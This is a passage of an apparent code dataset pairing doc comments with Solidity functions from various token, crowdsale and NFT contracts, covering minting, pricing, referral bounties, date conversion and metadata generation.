>= amount); // Buyer has enough ETH\r\n account[tokenOrders[usedTokenOrders]].tokenOrder -= (amount * (10 ** tokenDecimals)) / tokenPrice; // Removes tokens\r\n account[tokenOrders[usedTokenOrders]].tokenBalance -= (amount * (10 ** tokenDecimals)) / tokenPrice; // Removes tokens\r\n account[msg.sender].tokenBalance += (amount * (10 ** tokenDecimals)) / tokenPrice; // Adds tokens\r\n account[msg.sender].etherBalance -= amount; // Removes ether\r\n uint256 _fee = (amount.mul(fee)).div(10000);\r\n outstandingFees = outstandingFees.add(_fee);\r\n account[tokenOrders[usedTokenOrders]].etherBalance += (amount.sub(_fee + oracleFee));\r\n if (((account[tokenOrders[usedTokenOrders]].tokenOrder * tokenPrice) / (10 ** tokenDecimals)) == 0) {\r\n account[tokenOrders[usedTokenOrders]].tokenBalance -= account[tokenOrders[usedTokenOrders]].tokenOrder;\r\n account[tokenOrders[usedTokenOrders]].tokenOrder = 0;\r\n }\r\n if (account[tokenOrders[usedTokenOrders]].tokenOrder == 0) {\r\n usedTokenOrders += 1;\r\n }\r\n updatePrice();\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Function to start the crowdsale specifying startTime and stopTime\r\n * @param saleStart Sale start timestamp.\r\n * @param saleStop Sale stop timestamo.\r\n * @param salePrice Token price per ether.\r\n * @param setBeneficiary Beneficiary address.\r\n * @param minInvestment Minimum investment to participate in crowdsale (wei).\r\n * @param saleTarget Crowdsale target in ETH\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function startSale(uint256 saleStart, uint256 saleStop, uint256 salePrice, address setBeneficiary, uint256 minInvestment, uint256 saleTarget) onlyOwner public returns (bool) {\r\n require(saleStop > now);\r\n startTime = saleStart;\r\n stopTime = saleStop;\r\n amountRaised = 0;\r\n crowdsaleClosed = false;\r\n setPrice(salePrice);\r\n setMultiSigWallet(setBeneficiary);\r\n setMinimumInvestment(minInvestment);\r\n setCrowdsaleTarget(saleTarget);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/*\r\n * Constructor function\r\n */", "function_code": "function Fish() {\r\n owner = msg.sender;\r\n balances[msg.sender] = 1; // Owner can now be a referral\r\n totalSupply = 1;\r\n buyPrice_wie= 100000000000000; // 100 szabo per one token. One unit = 1000 tokens. 1 ether = 10 units\r\n sellPrice_wie = buyPrice_wie * sell_ppc / 100;\r\n }", "version": "0.4.15"} {"comment": "/* \r\n * OWNER ONLY; EXTERNAL METHOD\r\n * setGrowth can accept values within range from 20% to 100% of growth per month (based on 30 days per month assumption).\r\n * \r\n * Formula is:\r\n *\r\n * buyPrice_eth = buyPrice_eth * (1000000 + dailyGrowthMin_ppm) / 1000000;\r\n * ^new value ^current value ^1.0061 (if dailyGrowth_ppm == 6100)\r\n *\r\n * 1.0061^30 = 1.20 (if dailyGrowth_ppm == 6100)\r\n * 1.023374^30 = 2 (if dailyGrowth_ppm == 23374)\r\n * \r\n * Some other daily rates\r\n *\r\n * Per month -> Value in ppm\r\n * 1.3 -> 8783\r\n * 1.4 -> 11278\r\n * 1.5 -> 13607\r\n * 1.6 -> 15790\r\n * 1.7 -> 17844\r\n * 1.8 -> 19786\r\n */", "function_code": "function setGrowth(uint32 _newGrowth_ppm) onlyOwner external returns(bool result) {\r\n if (_newGrowth_ppm >= dailyGrowthMin_ppm &&\r\n _newGrowth_ppm <= dailyGrowthMax_ppm\r\n ) {\r\n dailyGrowth_ppm = _newGrowth_ppm;\r\n DailyGrowthUpdate(_newGrowth_ppm);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * EXTERNAL METHOD\r\n * User can buy arbitrary amount of tokens. Before amount of tokens will be calculated, the price of tokens \r\n * has to be adjusted. This happens in adjustPrice modified before function call.\r\n *\r\n * Short description of this method\r\n *\r\n * Calculate tokens that user is buying\r\n * Assign awards ro refereals\r\n * Add some bounty for new users who set referral before first buy\r\n * Send tokens that belong to contract or if there is non issue more and send them to user\r\n *\r\n * Read -> https://github.com/triangles-things/fish.project/blob/master/terms-of-use.md\r\n */", "function_code": "function buy() adjustPrice payable external {\r\n require(msg.value >= buyPrice_wie);\r\n var amount = safeDiv(msg.value, buyPrice_wie);\r\n\r\n assignBountryToReferals(msg.sender, amount); // First assign bounty\r\n\r\n // Buy discount if User is a new user and has set referral\r\n if ( balances[msg.sender] == 0 && referrals[msg.sender][0] != 0 ) {\r\n // Check that user has to wait at least two weeks before he get break even on what he will get\r\n amount = amount * (100 + landingDiscount_ppc) / 100;\r\n }\r\n\r\n issueTo(msg.sender, amount);\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * EXTERNAL METHOD\r\n * User can sell tokens back to contract.\r\n *\r\n * Short description of this method\r\n *\r\n * Adjust price\r\n * Calculate tokens price that user is selling \r\n * Make all possible checks\r\n * Transfer the money\r\n */", "function_code": "function sell(uint256 _amount) adjustPrice external {\r\n require(_amount > 0 && balances[msg.sender] >= _amount);\r\n uint moneyWorth = safeMul(_amount, sellPrice_wie);\r\n require(this.balance > moneyWorth); // We can't sell if we don't have enough money\r\n \r\n if (\r\n balances[this] + _amount > balances[this] &&\r\n balances[msg.sender] - _amount < balances[msg.sender]\r\n ) {\r\n balances[this] = safeAdd(balances[this], _amount); // adds the amount to owner's balance\r\n balances[msg.sender] = safeSub(balances[msg.sender], _amount); // subtracts the amount from seller's balance\r\n if (!msg.sender.send(moneyWorth)) { // sends ether to the seller. It's important\r\n revert(); // to do this last to avoid recursion attacks\r\n } else {\r\n Transfer(msg.sender, this, _amount); // executes an event reflecting on the change\r\n } \r\n } else {\r\n revert(); // checks if the sender has enough to sell\r\n } \r\n }", "version": "0.4.15"} {"comment": "/*\r\n * PRIVATE METHOD\r\n * Issue new tokens to contract\r\n */", "function_code": "function issueTo(address _beneficiary, uint256 _amount_tkns) private {\r\n if (\r\n balances[this] >= _amount_tkns\r\n ) {\r\n // All tokens are taken from balance\r\n balances[this] = safeSub(balances[this], _amount_tkns);\r\n balances[_beneficiary] = safeAdd(balances[_beneficiary], _amount_tkns);\r\n } else {\r\n // Balance will be lowered and new tokens will be issued\r\n uint diff = safeSub(_amount_tkns, balances[this]);\r\n\r\n totalSupply = safeAdd(totalSupply, diff);\r\n balances[this] = 0;\r\n balances[_beneficiary] = safeAdd(balances[_beneficiary], _amount_tkns);\r\n }\r\n \r\n Transfer(this, _beneficiary, _amount_tkns);\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * EXTERNAL METHOD \r\n * Set your referral first. You will get 4% more tokens on your first buy and trigger a\r\n * reward of whoever told you about this contract. A win-win scenario.\r\n */", "function_code": "function referral(address _referral) external returns(bool) {\r\n if ( balances[_referral] > 0 && // Referral participated already\r\n balances[msg.sender] == 0 && // Sender is a new user\r\n referrals[msg.sender][0] == 0 // Not returning user. User can not reassign their referrals but they can assign them later on\r\n ) {\r\n var referral_referrals = referrals[_referral];\r\n referrals[msg.sender] = [_referral, referral_referrals[0], referral_referrals[1]];\r\n return true;\r\n }\r\n \r\n return false;\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * PRIVATE METHOD\r\n * Award bounties to referrals.\r\n */", "function_code": "function assignBountryToReferals(address _referralsOf, uint256 _amount) private {\r\n var refs = referrals[_referralsOf];\r\n \r\n if (refs[0] != 0) {\r\n issueTo(refs[0], (_amount * 4) / 100); // 4% bounty to direct referral\r\n if (refs[1] != 0) {\r\n issueTo(refs[1], (_amount * 2) / 100); // 2% bounty to referral of referral\r\n if (refs[2] != 0) {\r\n issueTo(refs[2], (_amount * 1) / 100); // 1% bounty to referral of referral of referral\r\n }\r\n }\r\n }\r\n }", "version": "0.4.15"} {"comment": "/*\r\n * OWNER ONLY; EXTERNAL METHOD\r\n * Santa is coming! Who ever made impact to promote the Fish and can prove it will get the bonus\r\n */", "function_code": "function assignBounty(address _account, uint256 _amount) onlyOwner external returns(bool) {\r\n require(_amount > 0); \r\n \r\n if (balances[_account] > 0 && // Account had participated already\r\n bounties[_account] + _amount <= 1000000 // no more than 100 token units per account\r\n ) {\r\n issueTo(_account, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.15"} {"comment": "// ------------------------------------------------------------------------\n// Calculate the number of days from 1970/01/01 to year/month/day using\n// the date conversion algorithm from\n// http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n// and subtracting the offset 2440588 so that 1970/01/01 is day 0\n//\n// days = day\n// - 32075\n// + 1461 * (year + 4800 + (month - 14) / 12) / 4\n// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n// - offset\n// ------------------------------------------------------------------------", "function_code": "function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {\n require(year >= 1970);\n int _year = int(year);\n int _month = int(month);\n int _day = int(day);\n\n int __days = _day\n - 32075\n + 1461 * (_year + 4800 + (_month - 14) / 12) / 4\n + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12\n - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4\n - OFFSET19700101;\n\n _days = uint(__days);\n }", "version": "0.8.10"} {"comment": "// ------------------------------------------------------------------------\n// Calculate year/month/day from the number of days since 1970/01/01 using\n// the date conversion algorithm from\n// http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n// and adding the offset 2440588 so that 1970/01/01 is day 0\n//\n// int L = days + 68569 + offset\n// int N = 4 * L / 146097\n// L = L - (146097 * N + 3) / 4\n// year = 4000 * (L + 1) / 1461001\n// L = L - 1461 * year / 4 + 31\n// month = 80 * L / 2447\n// dd = L - 2447 * month / 80\n// L = month / 11\n// month = month + 2 - 12 * L\n// year = 100 * (N - 49) + year + L\n// ------------------------------------------------------------------------", "function_code": "function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {\n int __days = int(_days);\n\n int L = __days + 68569 + OFFSET19700101;\n int N = 4 * L / 146097;\n L = L - (146097 * N + 3) / 4;\n int _year = 4000 * (L + 1) / 1461001;\n L = L - 1461 * _year / 4 + 31;\n int _month = 80 * L / 2447;\n int _day = L - 2447 * _month / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint(_year);\n month = uint(_month);\n day = uint(_day);\n }", "version": "0.8.10"} {"comment": "/*///////////////////////////////////////////////////////////////\n ERC165 LOGIC\n //////////////////////////////////////////////////////////////*/", "function_code": "function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n return\n interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721\n interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata\n }", "version": "0.8.10"} {"comment": "/*///////////////////////////////////////////////////////////////\n INTERNAL MINT/BURN LOGIC\n //////////////////////////////////////////////////////////////*/", "function_code": "function _mint(address to, uint256 id) internal virtual {\n require(to != address(0), \"INVALID_RECIPIENT\");\n\n require(ownerOf[id] == address(0), \"ALREADY_MINTED\");\n\n // Counter overflow is incredibly unrealistic.\n unchecked {\n balanceOf[to]++;\n }\n\n ownerOf[id] = to;\n\n emit Transfer(address(0), to, id);\n }", "version": "0.8.10"} {"comment": "/// @dev Update charity and owner balance.", "function_code": "function _updateBalance(uint256 value)\n internal\n {\n // checks: if value is zero nothing to update.\n if (value == 0) {\n return;\n }\n\n uint256 charityValue = (value * charityFeeBp) / BP_DENOMINATOR;\n uint256 ownerValue = value - charityValue;\n\n // effects: update balances.\n charityBalance += charityValue;\n ownerBalance += ownerValue;\n }", "version": "0.8.10"} {"comment": "//////////////////////////////////////////////////////////////////////////\n/// @notice Withdraw funds to charity address.", "function_code": "function _withdrawCharityBalance()\n internal\n {\n uint256 value = charityBalance;\n\n // checks: no money to withdraw.\n if (value == 0) {\n return;\n }\n\n // effects: reset charity balance to zero.\n charityBalance = 0;\n\n // interactions: send money to charity address.\n (bool sent, ) = charity.call{value: value}(\"\");\n require(sent);\n }", "version": "0.8.10"} {"comment": "/// @notice Withdraw funds to owner address.\n/// @param destination the address that receives the funds.", "function_code": "function _withdrawOwnerBalance(address payable destination)\n internal\n {\n uint256 value = ownerBalance;\n\n // checks: no money to withdraw.\n if (value == 0) {\n return;\n }\n\n // effects: reset owner balance to zero.\n ownerBalance = 0;\n\n // interactions: send money to destination address.\n (bool sent, ) = destination.call{value: value}(\"\");\n require(sent);\n }", "version": "0.8.10"} {"comment": "/// @notice Sets the time offset of the given token id.\n/// @dev Use minutes because some timezones (like IST) are offset by half an hour.\n/// @param id the NFT unique id.\n/// @param offsetMinutes the offset in minutes.", "function_code": "function setTimeOffsetMinutes(uint256 id, int128 offsetMinutes)\n public\n {\n // checks: id exists\n if (ownerOf[id] == address(0)) {\n revert EthTime__DoesNotExist();\n }\n\n // checks: sender is owner.\n if (ownerOf[id] != msg.sender) {\n revert EthTime__NotOwner();\n }\n\n // checks: validate time offset\n _validateTimeOffset(offsetMinutes);\n\n // effects: update time offset\n timeOffsetMinutes[id] = offsetMinutes;\n\n emit TimeOffsetUpdated(id, offsetMinutes);\n }", "version": "0.8.10"} {"comment": "/// @notice Mint a new NFT, transfering ownership to the given account.\n/// @dev If the token id already exists, this method fails.\n/// @param to the NFT ower.\n/// @param offsetMinutes the time offset in minutes.\n/// @param id the NFT unique id.", "function_code": "function mint(address to, int128 offsetMinutes, uint256 id)\n public\n payable\n nonReentrant\n virtual\n {\n // interactions: mint.\n uint256 valueLeft = _mint(to, offsetMinutes, id, msg.value);\n \n // interactions: send back leftover value.\n if (valueLeft > 0) {\n (bool success, ) = msg.sender.call{value: valueLeft}(\"\");\n require(success);\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Get the price for minting the next `count` NFT.", "function_code": "function getBatchMintPrice(uint256 count)\n public\n view\n returns (uint256)\n {\n // checks: can mint count nfts\n _validateBatchMintCount(count);\n\n uint256 supply = totalSupply;\n uint256 price = 0;\n for (uint256 i = 0; i < count; i++) {\n price += _priceAtSupplyLevel(supply + i);\n }\n \n return price;\n }", "version": "0.8.10"} {"comment": "//////////////////////////////////////////////////////////////////////////\n/// @notice Returns the URI with the NFT metadata.\n/// @dev Returns the base64 encoded metadata inline.\n/// @param id the NFT unique id", "function_code": "function tokenURI(uint256 id)\n public\n view\n override\n returns (string memory)\n {\n if (ownerOf[id] == address(0)) {\n revert EthTime__DoesNotExist();\n }\n\n string memory tokenId = Strings.toString(id);\n\n (uint256 hour, uint256 minute) = _adjustedHourMinutes(id);\n\n bytes memory topHue = _computeHue(historyAccumulator[id], id);\n bytes memory bottomHue = _computeHue(uint160(ownerOf[id]), id);\n\n int128 offset = timeOffsetMinutes[id];\n bytes memory offsetSign = offset >= 0 ? bytes('+') : bytes('-');\n uint256 offsetUnsigned = offset >= 0 ? uint256(int256(offset)) : uint256(int256(-offset));\n\n return\n string(\n bytes.concat(\n 'data:application/json;base64,',\n bytes(\n Base64.encode(\n bytes.concat(\n '{\"name\": \"ETH Time #',\n bytes(tokenId),\n '\", \"description\": \"ETH Time\", \"image\": \"data:image/svg+xml;base64,',\n bytes(_tokenImage(topHue, bottomHue, hour, minute)),\n '\", \"attributes\": [{\"trait_type\": \"top_color\", \"value\": \"hsl(', topHue, ',100%,89%)\"},',\n '{\"trait_type\": \"bottom_color\", \"value\": \"hsl(', bottomHue, ',77%,36%)\"},',\n '{\"trait_type\": \"time_offset\", \"value\": \"', offsetSign, bytes(Strings.toString(offsetUnsigned)), '\"},',\n '{\"trait_type\": \"time\", \"value\": \"', bytes(Strings.toString(hour)), ':', bytes(Strings.toString(minute)), '\"}]}'\n )\n )\n )\n )\n );\n }", "version": "0.8.10"} {"comment": "/// @dev Generate a preview of the token that will be minted.\n/// @param to the minter.\n/// @param id the NFT unique id.", "function_code": "function tokenImagePreview(address to, uint256 id)\n public\n view\n returns (string memory)\n {\n (uint256 hour, uint256 minute) = _adjustedHourMinutes(id);\n\n bytes memory topHue = _computeHue(uint160(id >> 4), id);\n bytes memory bottomHue = _computeHue(uint160(to), id);\n\n return _tokenImage(topHue, bottomHue, hour, minute);\n }", "version": "0.8.10"} {"comment": "/// @dev Generate the SVG image for the given NFT.", "function_code": "function _tokenImage(bytes memory topHue, bytes memory bottomHue, uint256 hour, uint256 minute)\n internal\n pure\n returns (string memory)\n {\n\n return\n Base64.encode(\n bytes.concat(\n '',\n '',\n '',\n '',\n '',\n '',\n _binaryHour(hour),\n _binaryMinute(minute),\n ''\n )\n );\n }", "version": "0.8.10"} {"comment": "/// @dev Returns the colors to be used to display the time.\n/// The first 3 bytes are used for the first digit, the remaining 4 bytes\n/// for the second digit.", "function_code": "function _binaryColor(uint256 n)\n internal\n pure\n returns (bytes[7] memory)\n {\n unchecked {\n uint256 firstDigit = n / 10;\n uint256 secondDigit = n % 10;\n\n return [\n (firstDigit & 0x1 != 0) ? onColor : offColor,\n (firstDigit & 0x2 != 0) ? onColor : offColor,\n (firstDigit & 0x4 != 0) ? onColor : offColor,\n\n (secondDigit & 0x1 != 0) ? onColor : offColor,\n (secondDigit & 0x2 != 0) ? onColor : offColor,\n (secondDigit & 0x4 != 0) ? onColor : offColor,\n (secondDigit & 0x8 != 0) ? onColor : offColor\n ];\n }\n }", "version": "0.8.10"} {"comment": "// takes current marketcap of USD and calculates the algorithmic rebase lag\n// returns 10 ** 9 rebase lag factor", "function_code": "function getAlgorithmicRebaseLag(int256 supplyDelta) public view returns (uint256) {\r\n if (dollars.totalSupply() >= 30000000 * 10 ** 9) {\r\n return 30 * 10 ** 9;\r\n } else {\r\n if (supplyDelta < 0) {\r\n uint256 dollarsToBurn = uint256(supplyDelta.abs()); // 1.238453076e15\r\n return uint256(100 * 10 ** 9).sub((dollars.totalSupply().sub(1000000 * 10 ** 9)).div(500000));\r\n } else {\r\n return uint256(29).mul(dollars.totalSupply().sub(1000000 * 10 ** 9)).div(35000000).add(1 * 10 ** 9);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice list the ids of all the heroes in _owner's wallet\r\n * @param _owner is the wallet address of the hero owner\r\n * */", "function_code": "function listMyHeroes(address _owner) \r\n external \r\n view \r\n returns (uint256[] memory) \r\n {\r\n uint256 nHeroes = balanceOf(_owner);\r\n // if zero return an empty array\r\n if (nHeroes == 0) {\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory heroList = new uint256[](nHeroes);\r\n uint256 ii;\r\n for (ii = 0; ii < nHeroes; ii++) {\r\n heroList[ii] = tokenOfOwnerByIndex(_owner, ii);\r\n }\r\n return heroList;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice mint brand new HunkyHero nfts\r\n * @param numHeroes is the number of heroes to mint\r\n */", "function_code": "function mintHero(uint256 numHeroes) public payable saleIsLive {\r\n require(\r\n (numHeroes > 0) && (numHeroes <= MINT_MAX),\r\n \"you can mint between 1 and 100 heroes at once\"\r\n );\r\n require(\r\n msg.value >= (numHeroes * mintPrice),\r\n \"not enough Ether sent with tx\"\r\n );\r\n\r\n //mint dem heroes\r\n _mintHeroes(msg.sender, numHeroes);\r\n return;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice mint heroes from the whitelist\r\n * @param _sig whitelist signature\r\n * @param _quota wl quota awarded\r\n * @param _num number of Heroes to mint!\r\n */", "function_code": "function herolistMint(\r\n bytes calldata _sig,\r\n uint256 _quota,\r\n uint256 _num\r\n ) \r\n public\r\n presaleIsLive\r\n {\r\n require(_num > 0);\r\n\r\n //overclaiming? already minted?\r\n require(_num + minted[msg.sender] <= _quota,\r\n \"not enough WL mints left\"\r\n );\r\n\r\n // check msg.sender is on the whitelist\r\n require(legitSigner(_sig, _quota), \"invalid signature\");\r\n \r\n //effects\r\n minted[msg.sender] += _num;\r\n\r\n //mint dem heroes\r\n _mintHeroes(msg.sender, _num);\r\n return;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice transfer team membership to a different address\r\n * team members have admin rights with onlyTeam modifier\r\n * @param to is the address to transfer admin rights to\r\n */", "function_code": "function transferMembership(address to) public onlyTeam {\r\n teamMap[msg.sender] = false;\r\n teamMap[to] = true;\r\n\r\n for (uint256 i = 0; i < 3; i++) {\r\n if (teamList[i] == msg.sender) {\r\n teamList[i] = to;\r\n }\r\n }\r\n emit MembershipTransferred(msg.sender, to);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice mint function called by multiple other functions\r\n * @notice token IDs start at 1 (not 0)\r\n * @param _to address to mint to\r\n * @param _num number of heroes to mint\r\n */", "function_code": "function _mintHeroes(address _to, uint256 _num) private {\r\n require(currentSupply + _num <= MAX_HEROES, \"not enough Heroes left\");\r\n\r\n for (uint256 h = 0; h < _num; h++) {\r\n currentSupply ++;\r\n _safeMint(_to, currentSupply);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice does signature _sig contain a legit hash and \r\n * was it signed by msgSigner?\r\n * @param _sig the signature to inspect\r\n * @dev the signer is recovered and compared to msgSigner\r\n */", "function_code": "function legitSigner(bytes memory _sig, uint256 _numHashed)\r\n private\r\n view\r\n returns (bool)\r\n {\r\n //hash the sender and this address\r\n bytes32 checkHash = keccak256(abi.encodePacked(\r\n msg.sender,\r\n address(this),\r\n _numHashed\r\n ));\r\n\r\n //the _sig should be a signed version of checkHash\r\n bytes32 ethHash = ECDSA.toEthSignedMessageHash(checkHash);\r\n address recoveredSigner = ECDSA.recover(ethHash, _sig);\r\n return (recoveredSigner == msgSigner);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the URI for a given token ID. May return an empty string.\r\n *\r\n * If the token's URI is non-empty and a base URI was set (via\r\n * {_setBaseURI}), it will be added to the token ID's URI as a prefix.\r\n *\r\n * Reverts if the token ID does not exist.\r\n */", "function_code": "function tokenURI(uint256 tokenId) external view returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n\r\n string memory _tokenURI = _tokenURIs[tokenId];\r\n\r\n // Even if there is a base URI, it is only appended to non-empty token-specific URIs\r\n if (bytes(_tokenURI).length == 0) {\r\n return \"\";\r\n } else {\r\n // abi.encodePacked is being used to concatenate strings\r\n return string(abi.encodePacked(_baseURI, _tokenURI));\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Returns timestamp at which accumulated M26s have last been claimed for a {tokenIndex}.\n */", "function_code": "function lastClaim(uint256 tokenIndex) public view returns (uint256) {\n require(_mars.ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\n require(tokenIndex < _mars.totalSupply(), \"NFT at index has not been minted yet\");\n\n uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : _emissionStartTimestamp;\n return lastClaimed;\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Returns amount of accumulated M26s for {tokenIndex}.\n */", "function_code": "function accumulated(uint256 tokenIndex) public view returns (uint256) {\n require(block.timestamp > _emissionStartTimestamp, \"Emission has not started yet\");\n require(_mars.ownerOf(tokenIndex) != address(0), \"Owner cannot be 0 address\");\n require(tokenIndex < _mars.totalSupply(), \"NFT at index has not been minted yet\");\n\n uint256 lastClaimed = lastClaim(tokenIndex);\n\n // Sanity check if last claim was on or after emission end\n if (lastClaimed >= _emissionEndTimestamp) return 0;\n\n uint256 accumulationPeriod = block.timestamp < _emissionEndTimestamp\n ? block.timestamp\n : _emissionEndTimestamp; // Getting the min value of both\n uint256 totalAccumulated = accumulationPeriod\n .sub(lastClaimed)\n .mul(_emissionPerDay)\n .div(_SECONDS_IN_A_DAY);\n\n // If claim hasn't been done before for the index, add initial allotment (plus prereveal multiplier if applicable)\n if (lastClaimed == _emissionStartTimestamp) {\n uint256 initialAllotment = _mars.isMintedBeforeReveal(tokenIndex) == true\n ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER)\n : INITIAL_ALLOTMENT;\n totalAccumulated = totalAccumulated.add(initialAllotment);\n }\n\n return totalAccumulated;\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Sets token hashes in the initially set order starting at {startIndex}.\n */", "function_code": "function setInitialSequenceTokenHashesAtIndex(\n uint256 startIndex,\n bytes32[] memory tokenHashes\n ) public onlyOwner {\n require(startIndex <= _intitialSequenceTokenHashes.length);\n\n for (uint256 i = 0; i < tokenHashes.length; i++) {\n if ((i + startIndex) >= _intitialSequenceTokenHashes.length) {\n _intitialSequenceTokenHashes.push(tokenHashes[i]);\n } else {\n _intitialSequenceTokenHashes[i + startIndex] = tokenHashes[i];\n }\n }\n\n require(_intitialSequenceTokenHashes.length <= _maxSupply);\n }", "version": "0.8.3"} {"comment": "// Source: verifyIPFS (https://github.com/MrChico/verifyIPFS/blob/master/contracts/verifyIPFS.sol)\n// @author Martin Lundfall (martin.lundfall@consensys.net)\n// @dev Converts hex string to base 58", "function_code": "function _toBase58(bytes memory source)\n internal\n pure\n returns (string memory)\n {\n if (source.length == 0) return new string(0);\n uint8[] memory digits = new uint8[](46);\n digits[0] = 0;\n uint8 digitlength = 1;\n for (uint256 i = 0; i < source.length; ++i) {\n uint256 carry = uint8(source[i]);\n for (uint256 j = 0; j < digitlength; ++j) {\n carry += uint256(digits[j]) * 256;\n digits[j] = uint8(carry % 58);\n carry = carry / 58;\n }\n\n while (carry > 0) {\n digits[digitlength] = uint8(carry % 58);\n digitlength++;\n carry = carry / 58;\n }\n }\n return string(_toAlphabet(_reverse(_truncate(digits, digitlength))));\n }", "version": "0.8.3"} {"comment": "// ------------------------------------------------------------------------\n// 1000 Paparazzo Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 10000;\r\n } else {\r\n tokens = msg.value * 1000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/**\n * @param beneficiary Token beneficiary\n * @param paymentToken ERC20 payment token address\n * @param weiAmount Amount of wei contributed\n * @param tokenAmount Number of tokens to be purchased\n */", "function_code": "function _preValidatePurchase(\n address beneficiary,\n address paymentToken,\n uint256 weiAmount,\n uint256 tokenAmount\n )\n internal\n view\n override\n whenNotPaused\n onlyWhileOpen\n tokenCapNotExceeded(tokensSold, tokenAmount)\n holdsSufficientTokens(beneficiary)\n isWhitelisted(beneficiary)\n {\n // TODO: Investigate why modifier and require() don't work consistently for beneficiaryCapNotExceeded()\n if (\n getTokensPurchasedBy(beneficiary).add(tokenAmount) >\n getBeneficiaryCap(beneficiary)\n ) {\n revert(\"LaunchpadCrowdsaleWithVesting: beneficiary cap exceeded\");\n }\n\n super._preValidatePurchase(\n beneficiary,\n paymentToken,\n weiAmount,\n tokenAmount\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Returns the set token URI, i.e. IPFS v0 CID, of {tokenId}.\n * Prefixed with ipfs://\n */", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory) {\n require(_exists(tokenId), \"ERC721URIStorage: URI query for nonexistent token\");\n require(_startingIndex > 0, \"Tokens have not been assigned yet\");\n\n uint256 initialSequenceIndex = _toInitialSequenceIndex(tokenId);\n return tokenURIOfInitialSequenceIndex(initialSequenceIndex);\n }", "version": "0.8.3"} {"comment": "// amount in is 10 ** 9 decimals", "function_code": "function burn(uint256 amount)\r\n external\r\n updateAccount(msg.sender)\r\n {\r\n require(!reEntrancyMutex, \"RE-ENTRANCY GUARD MUST BE FALSE\");\r\n reEntrancyMutex = true;\r\n\r\n require(amount != 0, 'AMOUNT_MUST_BE_POSITIVE');\r\n require(_remainingDollarsToBeBurned != 0, 'COIN_BURN_MUST_BE_GREATER_THAN_ZERO');\r\n require(amount <= _dollarBalances[msg.sender], 'INSUFFICIENT_DOLLAR_BALANCE');\r\n require(amount <= _remainingDollarsToBeBurned, 'AMOUNT_MUST_BE_LESS_THAN_OR_EQUAL_TO_REMAINING_COINS');\r\n\r\n _burn(msg.sender, amount);\r\n\r\n reEntrancyMutex = false;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Gets current NFT price based on already sold tokens.\n */", "function_code": "function getNFTPrice() public view returns (uint256) {\n if (_numSoldTokens < 800) {\n return 0.01 ether; \n } else if (_numSoldTokens < 4400) {\n return 0.02 ether; \n } else if (_numSoldTokens < 8800) {\n return 0.03 ether; \n } else if (_numSoldTokens < 12600) {\n return 0.05 ether; \n } else if (_numSoldTokens < 14040) {\n return 0.1 ether;\n } else if (_numSoldTokens < 14392) {\n return 0.3 ether;\n } else {\n return 1 ether;\n }\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Mints Mars NFTs\n */", "function_code": "function mint(uint256 numberOfNfts) public payable {\n require(block.timestamp >= _saleStartTimestamp, \"Sale has not started\");\n require(totalSupply() < MAX_SUPPLY, \"Sale has already ended\");\n require(numberOfNfts > 0, \"Cannot buy 0 NFTs\");\n require(numberOfNfts <= 20, \"You may not buy more than 20 NFTs at once\");\n require(_numSoldTokens.add(numberOfNfts) <= MAX_SUPPLY.sub(RESERVED_SUPPLY), \"Exceeds max number of sellable NFTs\");\n require(getNFTPrice().mul(numberOfNfts) == msg.value, \"Ether value sent is not correct\");\n\n for (uint i = 0; i < numberOfNfts; i++) {\n uint mintIndex = totalSupply();\n\n _numSoldTokens++;\n require(mintIndex < MAX_SUPPLY, \"Exceeds max number of NFTs in existence\");\n\n if (block.timestamp < _revealTimestamp) {\n _mintedBeforeReveal[mintIndex] = true;\n }\n _safeMint(msg.sender, mintIndex);\n }\n\n // 